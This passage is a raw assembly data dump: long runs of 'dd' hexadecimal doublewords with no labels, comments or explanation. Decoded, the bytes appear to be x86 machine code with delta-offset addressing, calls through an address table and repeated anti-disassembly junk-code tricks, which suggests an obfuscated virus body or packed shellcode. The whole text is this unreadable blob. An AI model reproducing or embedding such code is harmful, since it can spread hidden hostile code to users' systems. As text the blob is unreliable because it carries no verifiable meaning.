0AD858D06h, 8106133Ah, 160068D7h, 89D0FF5Bh dd 131621BDh, 15858906h, 0F06131Bh, 85C6D7B7h, 61311E1h dd 19958B77h, 6606131Dh, 6885DDBFh, 0F397A8A3h, 2B21BD31h dd 0B5FF0613h, 61310D1h, 0A35958Bh, 858D0613h, 6133AADh dd 0BE9h, 0EFEB3600h, 5E8023BBh, 4709E2DEh, 1D7D8D29h dd 0D0FF0613h, 8962EA80h, 13118585h, 0E185C606h, 47061311h dd 16D8D0Bh, 0F88B0613h, 28FAF668h, 7D8D8B87h, 0FF061320h dd 13116DB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 8DA62361h, 133AAD85h, 0D7B70F06h dd 8589D0FFh, 61304C9h, 30718589h, 0B70F0613h, 199589CBh dd 0C6061332h, 1311E185h, 0FE94306h, 50000000h, 1452232Dh dd 0B0A3795h, 87BEEE18h, 0FC6850CCh, 89BC8E6Eh, 1310A98Dh dd 6DB5FF06h, 8B061311h, 1321618Dh, 0AD858D06h, 8906133Ah dd 131E5595h, 66D0FF06h, 0D009DA81h, 1B9D8589h, 0B9600613h dd 3AC48D9Ah, 61D2BF0Fh, 56FBA66h, 11E185C6h, 0E9450613h dd 12h, 1F48A7B6h, 41868D2Eh, 12D2D3E9h, 380BEA25h, 6968043Ah dd 808E7269h, 0B5FF61EDh, 613116Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 0BDC35646h, 9E1EBF40h, 858D13C2h dd 6133AADh, 180FB966h, 0E981D0FFh, 1CDE1532h, 1CBD8589h dd 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 96992BC3h, 8B32138Fh, 130E858Dh, 0E185C606h dd 44061311h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 29C35242h, 385CDA81h, 6468765Ah, 0FB8F2ECh, 0B5FFD3B7h dd 613116Dh, 26D2BF66h, 3AAD858Dh, 6A0613h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 0FF8AD8C3h dd 5BD03D0h, 89061313h, 130C5185h, 927EBF06h, 85C63461h dd 61311E1h, 53006A43h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 282323CCh, 0F1ECF5Ch, 0A768FABFh dd 0E9C0764Ah, 7, 272C6AF5h, 66B7AC61h, 0FF92A0BAh, 13116DB5h dd 71950B06h, 8D061320h, 133AAD85h, 21B50106h, 0FF061300h dd 0E59589D0h, 89061321h, 13120985h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 83BCCFEAh dd 29638B34h, 60532FCBh, 0BD89C28Bh, 6130FDDh, 0BD805961h dd 615FEB3h, 0DD840F00h, 0E9000000h, 9, 58841389h, 90277518h dd 95858DC8h, 500615FEh, 6A016AF8h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0BC30C357h dd 78557F12h, 8B1CC9AFh, 1313C9BDh, 0F8006A06h, 0FFFC006Ah dd 13128995h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 67F056A9h, 4880Fh, 0BF660000h, 8589B1B1h dd 61313A9h, 0FF6AD08Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 16C35141h, 891E8A63h, 0C46ADDC5h, 0A9B5FF28h dd 6A061313h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 6D0BC351h, 1CC88515h, 0D3C1BF66h dd 31AD95FFh, 95890613h, 6130B45h, 83F9C08Bh, 131625BDh dd 9750006h, 2C81BD83h, 74000613h, 8B535019h, 7D1B8C0h dd 85890000h, 6130D7Dh, 0A97D9D8Dh, 0D3FF0615h, 0BD83585Bh dd 6132C81h, 50177400h, 7D1B853h, 85890000h, 6130D7Dh dd 0A66C9D8Dh, 0D3FF0615h, 8589585Bh, 61323C1h, 8BFABF0Fh dd 0BE9C0h, 35320000h, 0D0FB17E0h, 7A8F87C7h, 0E185C698h dd 47061311h, 12E9h, 0B17CCD00h, 826CCF1Ah, 86CADA64h dd 10FE4800h, 8B526D36h, 1311718Dh, 0F7C16806h, 9E993C8h dd 13000000h, 8247F391h, 1BB3AC7Dh, 116DB5FFh, 6A0613h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 23B354C3h, 4349AFF8h, 0AD858DDBh, 0F06133Ah, 883h, 95095100h dd 6133219h, 6AD0FF5Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 241DC357h, 0C25EDC97h dd 5A457ED5h, 0D6858D50h, 89061602h, 13309985h, 9400C706h dd 0F000000h, 77BAC9BFh, 5868FECBh, 0CA477BBFh, 0D6B58D2Dh dd 6A061602h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 5F34C355h, 382A06D2h, 9597E303h dd 14919D89h, 0E8560613h, 11h, 91703273h, 0A2121192h, 0DDA5DD8Eh dd 0A268488Ah, 38A0FBCh, 66000000h, 0FF5FF98Bh, 0DD8D0BD0h dd 0BA061314h, 5FD576D6h, 2D6858Dh, 89500616h, 131FD19Dh dd 78835906h, 850F0604h, 15h, 16B5958Bh dd 85C70613h, 616036Ah, 1, 0F1C78166h, 31BD83F3h, 6130Ah dd 38850Fh, 95890000h, 613306Dh, 36ABD83h, 0F000616h, 2585h dd 0BAC18100h, 8326852Eh, 131129BDh, 840F0006h, 12h, 0C7FABF0Fh dd 1307E585h, 6, 6EAEBA00h, 8C662D9Eh, 0F635B2DBh, 840F04C3h dd 4B1h, 899B529h, 85C70613h, 613173Dh, 0 dd 9712D181h, 0BD80315Dh, 615FEC0h, 6850F00h, 89000000h dd 13157185h, 0E185C606h, 47061311h, 66CFB560h, 33CEC281h dd 5B866861h, 6AE3E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 0A5F925C3h, 78B7871h, 6DB5FFC5h dd 8A061311h, 0AD858DD7h, 0F06133Ah, 287h, 0FFC1B500h dd 4D958BD0h, 6806130Ch, 104h, 13E9h, 567EF400h, 0A55A762Fh dd 0D05BC954h, 15666A67h, 0E6ECE940h, 178D9D8Dh, 9D310613h dd 6131631h, 38F0F53h, 0F000000h, 9D01D6BFh, 6133121h dd 6660D0FFh, 0A471D281h, 0FE9h, 0A9C33800h, 7C3F52A4h dd 9FBB0B8Bh, 30526748h, 8D858D61h, 0F061317h, 58Bh, 692AB900h dd 29502FCAh, 13063595h, 72858D06h, 6A0615FEh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 0E898C355h, 9, 9C4530B7h, 0FE6D2A5Dh, 39952363h, 5906130Ah dd 68B0Fh, 8D0B0000h, 6132C49h, 0F5958950h, 6006131Ch dd 0EE9h, 65BE5C00h, 0A41C3797h, 6760CE67h, 89A5E7BAh dd 1330F185h, 858D6106h, 615F545h, 6A50D68Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 70B9C357h, 0AAAE259Eh, 995B00EFh, 66CE8B66h, 0FF5596B9h dd 13118595h, 8D89F906h, 61314EDh, 530CC483h, 0A399D89h dd 6A5F0613h, 806800h, 36A0000h, 6A006Ah, 68h, 45858D80h dd 500615F5h, 1B9D95FFh, 85890613h, 615FE55h, 11E185C6h dd 68470613h, 0C7B15E87h, 116DB5FFh, 858D0613h, 6133AADh dd 6AD0FFh, 0FE55B5FFh, 0D0FF0615h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 79C35646h, 1953162h, 9061310h dd 130C3185h, 37D03D06h, 830F0000h, 28h, 34F239B9h, 55B5FF79h dd 0F50615FEh, 120995FFh, 8D0B0613h, 6130C69h, 0B2E9h dd 419D8900h, 0BF06130Ah, 5A6BA66Ah, 0FE55B5FFh, 0D78B0615h dd 120995FFh, 30B50613h, 10E9006Ah, 12000000h, 4A6E2A64h dd 5DCBC704h, 0A25769CFh, 6A30E161h, 68A0F00h, 89000000h dd 130E298Dh, 8B006A06h, 0E9006AD7h, 0Ch, 4DE38159h, 0F030DC51h dd 24DB26B1h, 6A006Ah, 8DCFC580h, 15FE5985h, 458D8B06h dd 8B061330h, 130B6995h, 6A5006h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 468533C3h, 0C03821E2h dd 810FD38Bh, 6, 0D5A8EF81h, 95FF5CE3h, 6131B9Dh, 0FFFF883h dd 0E985h, 8DD18B00h, 15B91285h, 5952B06h, 0FF061313h dd 319D89D0h, 6A06130Dh, 5E900h, 3E0B0000h, 89D1B54Bh dd 1322B98Dh, 8A006A06h, 75B589D1h, 6A061311h, 463ABA00h dd 6A2FC5h, 6AC8B70Fh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 2997871Fh, 6A8B97h, 10E9h dd 0FE0D8100h, 78E60903h, 0DC67D2A6h, 28BD378Eh, 59858D66h dd 290615FEh, 131EDDBDh, 8A505006h, 95FF59CAh, 6131B9Dh dd 6880Fh, 8D8B0000h, 61328DDh, 0FFFF883h, 4585h, 0D68B6600h dd 0F861B58Dh, 860F0615h, 5, 0F0CFE8B9h, 4D858D31h, 0F0615A3h dd 0D0FFCABFh, 7C58D89h, 6A0613h, 12D9958Bh, 0B5890613h dd 6131BA1h, 1CBD95FFh, 820F0613h, 6, 0B414E181h, 8589058Ah dd 615FE55h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 69C35545h, 8DF9006Ah, 15FE4D85h, 659D0906h, 5006130Ah dd 81F28052h, 0B9046A59h, 17DA9148h, 29C5858Dh, 0E3B50613h dd 56006A50h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 69F25C7Dh, 80163E5Ch, 79BD318Bh, 6A061319h dd 1026BA00h, 6A21A1h, 6A77E580h, 53006A01h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0FC9DBE44h dd 0C271AF50h, 55B5FF5Eh, 0B10615FEh, 5195FF86h, 6A06130Ch dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 15EDC355h, 535D8705h, 71E9F8B1h, 8900001Bh dd 132EBD95h, 66C08B06h, 838CBDB9h, 131625BDh, 9750006h dd 2C81BD83h, 74000613h, 8B535019h, 7D2B8C0h, 85890000h dd 6130D7Dh, 0A97D9D8Dh, 0D3FF0615h, 0BD83585Bh, 6132C81h dd 50177400h, 7D2B853h, 85890000h, 6130D7Dh, 0A66C9D8Dh dd 0D3FF0615h, 8060585Bh, 0D78B85E9h, 0FC08B61h, 382h dd 0D38B6600h, 173D85C7h, 10613h, 85090000h, 61330A1h dd 0E4E7B868h, 0C9B5FFCEh, 8D061307h, 133AAD85h, 89D0FF06h dd 1312FD85h, 0B1858D06h, 50061600h, 36E858Dh, 68500616h dd 80000001h, 12FD95FFh, 0C00B0613h, 85C70A75h, 6130F0Dh dd 1, 5DBD468h, 0C9B5FFC0h, 8D061307h, 133AAD85h, 89D0FF06h dd 13119185h, 0FE858D06h, 500615F2h, 116DB5FFh, 95FF0613h dd 6131315h, 0B74C00Bh, 858DD88Bh, 61602B1h, 8DD3FF50h dd 1602B185h, 38836606h, 0C70A7509h, 13150585h, 106h, 7195FF00h dd 25061330h, 0FFh, 7305F883h, 2D85C70Ah, 1061321h, 0B6000000h dd 0D9958B61h, 8006130Ah, 15FEC0BDh, 840F0006h, 16h, 2860Fh dd 0D38A0000h, 36ABD83h, 0F000616h, 0C84h, 1DE9F800h, 8B00001Ah dd 131749BDh, 5BD8306h, 61315h, 9B850Fh, 8D8B0000h, 6130031h dd 0FE8A858Dh, 0B9660615h, 0B9500669h, 63400F16h, 0BD8B016Ah dd 6132F9Dh, 6A5FF852h, 0DE900h, 15B20000h, 7294FFF4h dd 0C2063A82h, 6ADE17EDh, 0C7816600h, 0B589E9E3h, 61315E1h dd 128995FFh, 0B5010613h, 6132509h, 0FEB48589h, 6A0615h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0E2E4EC3h, 559D3360h, 5306131Dh, 615A5A57h, 0B70FFF6Ah dd 0B4B5FFCAh, 0B20615FEh, 0AD95FFD2h, 60061331h, 1EE1B589h dd 1CB70613h, 0C5858D61h, 570615F2h, 11E9h, 6190B600h dd 43F29EC7h, 7E27A3FAh, 2E300A7h, 505A4333h, 62D28166h dd 0ED95FF84h, 29061311h, 1319C99Dh, 81858906h, 8906132Fh dd 15F34F85h, 0D7B70F06h, 7E9h, 9700DB00h, 45316028h, 0F2D2858Dh dd 0CA800615h, 0E18D01B4h, 50061316h, 0A1BD8960h, 0E9061309h dd 0Ah, 3146D29Fh, 0C5539173h, 0FF61C88Fh, 15F34FB5h, 0F5952306h dd 8B061330h, 131B8D95h, 1595FF06h, 0E8061313h, 5, 69A561BEh dd 8195010Dh, 5F061329h, 1B98589h, 0BD890613h, 6130A0Dh dd 0F340858Dh, 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 6DF99DC3h, 0D78B66CBh, 0FB8B6650h dd 0F34FB5FFh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 0DCCDEDC3h, 817EF96Ch, 11499D89h dd 95890613h, 6130B19h, 4CD8D29h, 95FF0613h, 6131315h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0E5C35040h dd 0E774666Bh, 746AAD0Fh, 85BF668Bh, 0E7D181D7h, 566B29FAh dd 18A98D31h, 895F0613h, 15F36385h, 858DFC06h, 615F31Fh dd 0BAF9DF81h, 12B52DCDh, 55006A50h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 664C57C3h, 0A950C781h, 0F34FB5FFh, 6A0615h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 4E9F11C3h, 0FF42D399h, 13131595h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 1B8E6C9h, 122D1902h dd 858994A6h, 615F35Bh, 3169BD09h, 858D0613h, 615F312h dd 1398D29h, 80500613h, 0B5FF9AD5h, 615F34Fh, 0AE9h, 96783600h dd 0A1A2A58h, 0FF94A210h, 13131595h, 0AFD98006h, 0F35F8589h dd 95290615h, 6131259h, 0F32D858Dh, 0CE90615h, 2000000h dd 0BC0A9E0Fh, 0A5F6020Ch, 50F3D1F8h, 14E9h, 4B6F9200h dd 0E210CA74h, 0AF41D4BBh, 0BA9FDD58h, 1110EFh, 4FB5FF2Dh dd 660615F3h, 2AB9F281h, 1595FFFCh, 66061313h, 898BE1BAh dd 13013D85h, 9E806h, 79040000h, 97029FF5h, 894CF93Ah dd 1331D98Dh, 66605A06h, 6012C181h, 34C19D01h, 8D610613h dd 15F2E185h, 0D1958B06h, 50061325h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 9DC35646h, 0F98C3707h, 0EE2D55Eh dd 39D1812Fh, 0FF3BF3F4h, 15F34FB5h, 95FFFC06h, 6131315h dd 8589CB8Bh, 615F353h, 1EE78166h, 0F0858DE4h, 0E80615F2h dd 12h, 0EFEC40F2h, 96A35B72h, 0A0CAA421h, 0AB4E81AAh dd 52533ABEh, 505F5F5Fh, 12F98D8Bh, 0B5FF0613h, 615F34Fh dd 13E9h, 0CFDEF500h, 7ACE21E0h, 9DA59DD1h, 0CE3BAB11h dd 7B4D3DECh, 131595FFh, 0BF0F0613h, 578589CBh, 810615F3h dd 0DA569BD1h, 1046831h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 0E4DF58C3h, 8B163113h dd 1323A18Dh, 0E7858D06h, 8B0615F3h, 13172DBDh, 198D0106h dd 50061311h, 858DD78Bh, 615F4EBh, 1518529h, 0F8500613h dd 1B1595FFh, 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 5B5768C3h, 28C75B16h, 50989770h dd 12E960h, 51350000h, 9496BC94h, 0F64BD5Bh, 0EEF72340h dd 82819643h, 5A616160h, 850FC085h, 28h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 17h, 0FC35141h, 8BE76349h dd 132161BDh, 0D2BF0F06h, 0FEC0BD80h, 0F000615h, 1D85h dd 29958B00h, 0E9061319h, 1558h, 0D18D8B56h, 59061311h dd 5E9h, 951B0300h, 0BD837FF4h, 6131505h, 6C850F00h, 0E9000000h dd 13h, 0D8849313h, 0D9AD8CCBh, 903F96C9h, 0D9A02F70h dd 839AFDC6h, 16036ABDh, 840F0006h, 87h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 14h, 83C35646h, 0AE8h dd 0CEBD1500h, 9E9E7BEh, 0E890DE5Ch, 0Ah, 0FE07DEBDh, 6A7AF155h dd 800F009Bh, 0 dd 50B95F5Fh, 8D0220DBh, 15F38485h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0A30C0B7Eh dd 1D2F6391h, 0E1EA8166h, 149AE944h, 8D290000h, 61301E5h dd 15E9h, 8D7FB100h, 15F36F85h, 58B0F06h, 0B9000000h, 28DCD68h dd 6A509EB6h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 7FD3C353h, 8DBA35ACh, 15F3E785h dd 0B5896006h, 6131F75h, 8C0Fh, 50610000h, 0D2E78166h dd 5BD83F0h, 61315h, 41840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 15296C3h dd 132B3585h, 858D5906h, 615F50Dh, 1DADBD8Bh, 958B0613h dd 6132201h, 17E9h, 0BD9D8900h, 8D06132Eh, 15F4F685h, 5890F06h dd 66000000h, 167DD781h, 0E9EC8A50h, 0Dh, 31CC96C4h, 0FFFCB219h dd 847D6A2Ch, 45858D12h, 500615F5h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 85C35545h, 9CEA78Ch, 130A598Dh dd 8595FF06h, 6A061311h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 21ABC357h, 3BA9C27h dd 8307AD29h, 8F0F10C4h, 6, 25DD9589h, 0C08B0613h, 0B35BD8Bh dd 0BD830613h, 6131625h, 83097500h, 132C81BDh, 19740006h dd 0C08B5350h, 7D3B8h, 7D858900h, 8D06130Dh, 15A97D9Dh dd 5BD3FF06h, 81BD8358h, 6132Ch, 53501774h, 7D3B8h, 7D858900h dd 8D06130Dh, 15A66C9Dh, 5BD3FF06h, 50006A58h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 77EA9987h dd 25E4D9DEh, 0BD29EECCh, 6131A99h, 0EE8h, 4C049900h, 0D2E2F1EDh dd 50777C2Bh, 0FEE4810h, 580h, 0E141BA00h, 8B5952C7h, 52006AC0h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 1E7549A9h, 274B6002h, 6FBD8116h, 6F0615F3h, 0F616572h dd 0A684h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 403BD501h, 0BC2E981h, 858D682Fh dd 615F3E7h, 24858D50h, 500615F5h, 0F545858Dh, 0FF500615h dd 13118595h, 0CC48306h, 11E185C6h, 68440613h, 96A3184Fh dd 116DB5FFh, 858D0613h, 6133AADh, 0D88BD0FFh, 0F545858Dh dd 0FF500615h, 6F858DD3h, 500615F3h, 0F3E7858Dh, 83500615h dd 131505BDh, 8740006h, 0F50D858Dh, 6EB0615h, 0F4F6858Dh dd 8D500615h, 15F54585h, 95FF5006h, 6131185h, 8A10C483h dd 0C5BD89CCh, 0FF061320h, 13307195h, 50006A06h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 558F0858h, 0E1714CC8h, 0FF25F820h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 61E2C351h, 5F883A1h, 64830Fh, 11E80000h, 86000000h dd 0E0235BF2h, 0FE8D1635h, 37B9FE83h, 0E2AD377Eh, 0A5E28166h dd 85C75F39h, 613212Dh, 1, 13E9h, 3D36E000h, 0CCBE655Fh dd 0BAB54AD9h, 5EA2C24Dh, 9ADFC48h, 0F3A3858Dh, 0C9800615h dd 74E9F525h, 0E8000000h, 0Bh, 0E75F6FE6h, 3D706EF0h, 89372EA9h dd 1316BD85h, 0BD835A06h, 6131505h, 28840F00h, 60000000h dd 1F4D958Bh, 0F2810613h, 6D672087h, 9AEABF61h, 858D4324h dd 615F3CEh, 0F4D3B966h, 2EE9h, 0D8D8B00h, 8D061315h, 15F3B085h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 518D8B2Fh, 8906132Ah, 15F3E385h, 0FFB8B06h dd 280h, 83EEB500h, 131505BDh, 850F0006h, 1Fh, 1FB5958Bh dd 0D2810613h, 1D07B092h, 36ABD83h, 0F000616h, 1684h, 0A5BD2300h dd 0E9061310h, 1094h, 6DC068BFh, 6D9D8913h, 0E9061321h dd 493h, 8BC88B66h, 50006AC0h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 0DF2D146Ah, 45BF53E3h dd 95895781h, 6130B05h, 1625BD83h, 75000613h, 81BD8309h dd 6132Ch, 53501974h, 0D4B8C08Bh, 89000007h, 130D7D85h dd 7D9D8D06h, 0FF0615A9h, 83585BD3h, 132C81BDh, 17740006h dd 0D4B85350h, 89000007h, 130D7D85h, 6C9D8D06h, 0FF0615A6h dd 66585BD3h, 0B9F006BFh, 5CE31E5Dh, 6AC08Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0A40981C3h dd 4E856B32h, 895F4867h, 1301FDB5h, 0E9816606h, 3F686973h dd 80000F00h, 6A0DD5h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 9AC35646h, 0CB4AEF94h, 28D0F96h, 0B1000000h dd 3006A8Dh, 1323218Dh, 0B995FF06h, 8B061301h, 13195995h dd 0FC08506h, 85h, 67858900h, 0E80615F3h, 7, 7FB625F6h dd 51FD6769h, 6A595FF5h, 47D78100h, 6A054D97h, 0DDBD8900h dd 6A061304h, 6AF500h, 1331BD8Bh, 6A0613h, 0AE9h, 234A3700h dd 91BC8581h, 8DD0E5C6h, 15F54585h, 0E18D8B06h, 50061316h dd 68A0Fh, 0BD8B0000h, 6130709h, 0BD0B016Ah, 6131E55h dd 6A016Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 877C5BC3h, 5E82Ah, 5EC40000h, 8931D8BAh dd 13128D9Dh, 16A5F06h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 3DC35242h, 0F01FF68h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 0D56E0F52h, 19F28072h, 1B99BD8Bh, 0BD830613h, 6131505h dd 25840F00h, 0F9000000h, 0F3C4858Dh, 0EE90615h, 40000000h dd 0B4E9F88Dh, 5BF51D38h, 2F2A877Ch, 0EE9FAh, 958B0000h dd 6132989h, 0F39A858Dh, 5A570615h, 0A59D8950h, 5006132Fh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0BCC35141h dd 891121EDh, 1317118Dh, 11858906h, 0FF061314h, 15F367B5h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 0B96655A1h, 95FF76CBh, 615F353h, 9D8B60FCh dd 6130A35h, 22ADB58Bh, 85610613h, 0B850FC0h, 66000000h dd 56E9CB8Bh, 0F000000h, 8589C9B7h, 615F36Bh, 0B5FFEA8Ah dd 615F36Bh, 8E9h, 0E72E9900h, 79EC8A99h, 3D95FFCDh, 66061301h dd 850F4DBFh, 26850FC0h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 33A4C352h dd 89D73A3Dh, 132A3D9Dh, 8B106A06h, 130B1D8Dh, 0FE96006h dd 61000000h, 7C5033E9h, 0C816B62Ah, 51EDAC77h, 0B58B04FCh dd 6130021h, 5BD8361h, 61315h, 4B840Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0D735A3C3h, 59C5CDACh, 0BA6046C7h, 637EBBC5h, 61F1B70Fh dd 63CF8166h, 0C4858D81h, 560615F3h, 24919D29h, 0E9590613h dd 0Dh, 0E5EF8166h, 9A858DADh, 0B10615F3h, 8D8B5010h, 613193Dh dd 0F367B5FFh, 0B5010615h, 61324F9h, 0F35F95FFh, 6A0615h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 921E05C3h dd 8B6667A8h, 0FC085D0h, 2285h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 25CF8101h dd 890EF251h, 15F36B85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 302C6DC0h, 0DDB38E20h dd 6660006Ah, 6A61C28Bh, 0FFDBB500h, 15F36BB5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0C8563153h, 16564737h, 20F59509h, 95FF0613h, 615F357h dd 0C085CB8Ah, 6850Fh, 0F1810000h, 5B21ED4h, 0F36BB5FFh dd 850F0615h, 16h, 10800Fh, 0BE90000h, 4F000000h, 6F7B428Ah dd 785CE3DAh, 95FF814Ch, 613013Dh, 0C3BF66F9h, 0FC0850Bh dd 685h, 19852900h, 6A061312h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0E9D725D1h dd 0Dh, 0D0B01AF8h, 0CC6ED4A2h, 8DD8E669h, 0EEBF6600h dd 8068B6h, 958B0000h, 61330B5h, 8D29036Ah, 6132841h, 8B66006Ah dd 0E8006ACFh, 9, 50146F55h, 9B735357h, 0FB8B66ABh, 685Fh dd 6AC000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0B5FF19C3h, 615F3E3h, 1B9D95FFh, 0BD890613h dd 6131091h, 0FFFF883h, 4D685h, 10E900h, 13870000h, 0AAE45CAh dd 35B5472Ch, 3E269AC9h, 85FF29B8h, 615FE51h, 83FE8B66h dd 15FE51BDh, 840F0206h, 390h, 243B858Dh, 8166005Bh, 0FF467CDAh dd 38E980D0h, 1E8E858Dh, 9589005Bh, 6130B75h, 0FE9h, 2A73B400h dd 22C57A3h, 0A78F6AD6h, 50D1B7DBh, 8D8BD0FFh, 6132879h dd 8166C08Bh, 830E93D9h, 131625BDh, 9750006h, 2C81BD83h dd 74000613h, 8B535019h, 7D8B8C0h, 85890000h, 6130D7Dh dd 0A97D9D8Dh, 0D3FF0615h, 0BD83585Bh, 6132C81h, 50177400h dd 7D8B853h, 85890000h, 6130D7Dh, 0A66C9D8Dh, 0D3FF0615h dd 0BD03585Bh, 6130E09h, 8D33C08Bh, 6131E41h, 0F003F68h dd 84BA6600h, 8A006A96h, 68B0FF3h, 89000000h, 1306D9B5h dd 6A006A06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 0E789C356h, 198D8B0Ah, 0FF061301h dd 1301B995h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 0C085B325h, 0C9BD3151h, 5F06131Bh dd 0F3678589h, 0F88B0615h, 0F01FF68h, 0E98D3300h, 83061313h dd 131505BDh, 840F0006h, 57h, 6D858B60h, 0FC061323h, 8DCF8B61h dd 15F3C485h, 0D2BF0F06h, 44E9h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 25C354A7h dd 0F129031h, 687h, 0E9852900h, 0E906132Ch, 0Bh, 314EE7CDh dd 0D83C17CBh, 8D6CFB93h, 15F39A85h, 6A5006h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0CE811C3h dd 0BE000000h, 43840C5Eh, 84E1AD24h, 6677AA86h, 2A62F281h dd 67B5FF59h, 0F0615F3h, 158Dh, 10E900h, 0A4120000h, 0EDBE148Dh dd 4AB636FBh, 93EC647Ch, 95FF4D2Fh, 615F35Fh, 6850Fh, 0B5890000h dd 61312A1h, 0F36B8589h, 0FE80615h, 44000000h, 4D8FF04Eh dd 93C61745h, 0BFD99B29h, 9D898C8Bh, 61324D5h, 5185C75Fh dd 61315h, 0BF000000h, 536A5C26h, 83CF8B66h, 15F36BBDh dd 840F0006h, 15Ch, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 0B6C35141h, 1897F0A6h, 858DA6DAh, 615F649h dd 2C3D8D03h, 60B90613h, 501D146Dh, 3485952Bh, 16A0613h dd 2C9DBD8Bh, 0BD8B0613h, 6132BA1h, 0F36BB5FFh, 14E90615h dd 52000000h, 81FE9B38h, 5C72D65Ah, 3876DD79h, 3D2C08FFh dd 0FF96E20Dh, 15F36395h, 0B1BD8906h, 0FF061318h, 15F36BB5h dd 0CFB70F06h, 13D95FFh, 0C7810613h, 436CBCF0h, 